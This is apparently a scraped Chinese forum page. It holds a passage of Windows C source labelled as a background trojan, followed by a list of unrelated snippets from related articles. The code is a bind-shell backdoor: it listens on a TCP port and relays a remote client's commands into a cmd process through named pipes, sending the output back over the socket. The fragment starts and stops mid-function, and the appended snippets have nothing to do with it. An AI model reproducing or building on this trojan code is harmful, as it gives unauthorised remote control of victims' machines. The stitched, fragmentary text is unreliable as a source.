该楼层疑似违规已被系统折叠 隐藏此楼查看此楼

DWORD dwWrited = 0, dwRecvd = 0;

char szBuf[MAX_PATH] = {0};

BOOL bRet = FALSE;

while ( TRUE ) {

dwRecvd = recv(tNode.m_Sock, szBuf, MAX_PATH, 0);

if ( dwRecvd > 0 && dwRecvd != SOCKET_ERROR ) {

WriteFile(tNode.hPipe, szBuf, dwRecvd, &dwWrited, NULL);

}else{

closesocket(tNode.m_Sock);

WriteFile(tNode.hPipe, "exit\r\n", sizeof("exit\r\n"), &dwWrited, NULL);

bExit = TRUE;

break;

}

Sleep(50);

}

return TRUE;

}

DWORD WINAPI ThreadOutputProc(LPVOID lpParam) //此函数功能时刻向客户端发送cmd输出的数据

{

CThreadNode tNode = *(CThreadNode *)lpParam;

char szBuf[RECV_BUF_LEN] = {0};

DWORD dwReadLen = 0, dwTotalAvail = 0;

BOOL bRet = FALSE;

while ( !bExit ) {

dwTotalAvail = 0;

bRet = PeekNamedPipe(tNode.hPipe, NULL, 0, NULL, &dwTotalAvail, NULL);

if ( bRet && dwTotalAvail > 0 ) {

bRet = ReadFile(tNode.hPipe, szBuf, RECV_BUF_LEN, &dwReadLen, NULL);

if ( bRet && dwReadLen > 0 ) {

SendData(tNode.m_Sock, szBuf, dwReadLen);

}

Sleep(50);

}

}

return TRUE;

}

BOOL StartShell(UINT uPort)

{

if ( !SocketInit() ) { //初始化Stocket库

return FALSE;

}

SOCKET m_ListenSock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

if ( m_ListenSock == INVALID_SOCKET ) {

return FALSE;

}

sockaddr_in sServer = {0};

sServer.sin_family = AF_INET;

sServer.sin_addr.s_addr = htonl(INADDR_ANY);//用主机的任意可用IP地址

sServer.sin_port = htons(uPort); //要开启的端口号

if ( bind(m_ListenSock, (sockaddr *)&sServer, sizeof(sServer)) == SOCKET_ERROR ) { //将套接字绑定到IP地址和端口

return FALSE;

}

if ( listen(m_ListenSock, 5) == SOCKET_ERROR ) { //让端口进入监听模式

return FALSE;

}

SOCKET m_AcceptSock = accept(m_ListenSock, NULL, NULL); //创建新的套接字,然后等待与客户端的连接

// 创建管道的一些初始化

CThreadNode m_ReadNode, m_WriteNode;

STARTUPINFO si = {0};

si.cb = sizeof(STARTUPINFO);

PROCESS_INFORMATION pi = {0};

DWORD dwThreadRead = 0, dwThreadWrite = 0;

HANDLE hReadPipe1 = NULL, hWritePipe1 = NULL; // Input the command;

HANDLE hReadPipe2 = NULL, hWritePipe2 = NULL; // Get the command results;

HANDLE hThreadOutput = NULL, hThreadInput = NULL;

SECURITY_ATTRIBUTES sa = {0};

c语言编写木马软件,【C语言】后台木马程序相关推荐

  1. 如何用c语言编辑一个象棋软件,C语言编写象棋软件源代码.doc

    C语言编写象棋软件源代码 /*chess.c*/ #include "dos.h" #include "stdio.h" /**/ #define RED 7 ...

  2. 用C语言编写万年历6,C语言编写万年历

    <C语言编写万年历>由会员分享,可在线阅读,更多相关<C语言编写万年历(8页珍藏版)>请在人人文库网上搜索. 1.C语言编写万年历 [要求]:1 程序运行后,首先在屏幕上显示主 ...

  3. 用C语言编写一个Linux下的简单shell程序

    这是一个简单的C程序,展示了如何进行系统调用执行logout cd ls pwd pid rm mkdir mv cp等命令,这是一个简单的命令解释程序shell,其源代码如下: #include & ...

  4. c语言编写一个火车票,C语言-多线程抢火车票软件

    //今晚内容:C语言-抢火车票软件 //讲课老师:范志军  QQ:208824435 #include #include HANDLE hMutex;//互斥锁变量 int a=50;//设定50张车 ...

  5. c语言编写计算机软件,基于C语言的计算机软件编程分析.doc

    基于C语言的计算机软件编程分析.doc 基于C语言的计算机软件编程分析 摘要:C语言是一种重要的编程语言,在当今IT业的运用十分广泛.使用C语言来编写的程序简单.直接.准确,极大地推动了计算机软件的更 ...

  6. c语言实验教学软件,C语言实验教学法综述

    <C语言实验教学法综述>由会员分享,可在线阅读,更多相关<C语言实验教学法综述(3页珍藏版)>请在装配图网上搜索. 1.C语言实验教学法综述C语言程序设计是一门重要的计算机基础 ...

  7. 图书馆管理系统利用c语言编写,图书馆管理系统 c语言编写.doc

    图书馆管理系统 c语言编写 #include "stdio.h"#include "stdlib.h"#include "conio.h"# ...

  8. keil c语言pdf,Keil软件“C语言”与“汇编”混编 —— 相关知识整理.pdf

    Keil软件"C语言"与"汇编"混编 -- 相关知识整理.pdf Keil 软件软件C 语言语言与与汇编汇编混编混编 相关知识整理相关知识整理 用 Keil 在 ...

  9. c语言编写系统服务程序,C语言Windows服务程序编写-ServiceMain

    C语言编写的Windows服务程序,可以类比Linux/Unix环境下的daemon进程. 一下是VS2010环境下的demo: // windows_service.cpp : 定义控制台应用程序的 ...

  10. 用c语言编写字母循环,C语言输入循环字母

    广告 提供50多种云计算产品,包括云服务器和云. 创建一站式云产品试用服务,以帮助开发人员和企业以零门槛进入云环境. 是否有一种简单的方法来调用c脚本,以查看用户是否输入了英文字母中的字母?我在想这样 ...

最新文章

  1. 计算机应用基础第四章知识点,计算机应用基础 第四章电子表格笔试知识点总结...
  2. 使用JSON替代XML
  3. web开发中的缓存问题的研究(一)
  4. python: append、extend、insert、add
  5. A start job is running for Raise network interface(5min 13s )问题解决方法
  6. pascal行人voc_在Pascal VOC 数据集上训练YOLOv3模型
  7. ios7学习之路六(隐藏状态栏 )
  8. 去掉源代码里的debug标致
  9. 联想微型计算机设置键盘开机,联想台式机怎么样设置键盘开机
  10. 解决 Win11 开机ctfmon.exe不能自启
  11. 【Linux】Linux的进程调度
  12. Shell脚本之IP验证
  13. opencl 核函数创建存储器对象以实现向量
  14. 数字经济2.0—趋势、逻辑、选择
  15. 半监督学习:MixMatch
  16. SQL 根据身份证号码提取出出生日期
  17. word文件损坏打不开如何修复?文件丢失怎么办?
  18. 使用Node+websocket实现简易1v1聊天室(前端+服务器)
  19. python游戏联机_CoderZh首款Python联机对战游戏 - NancyTetris1.0倾情发布(一)
  20. 【IT项目管理】第6章 习题

热门文章

  1. 二叉树中第二小的节点
  2. 聚类:基本概念和方法
  3. 什么是近似算法?它适用于哪些问题?这篇文章给你答案
  4. 理解CNN卷积层与池化层计算
  5. 25个常用Matplotlib图的Python代码,收藏收藏!
  6. python pip install如何解决安装包read time out报错
  7. 基础知识——操作列表(三)
  8. java创建线程安全的集合
  9. 区块链共识机制及其迭代
  10. 基于网络监听方式的电子邮件实现基础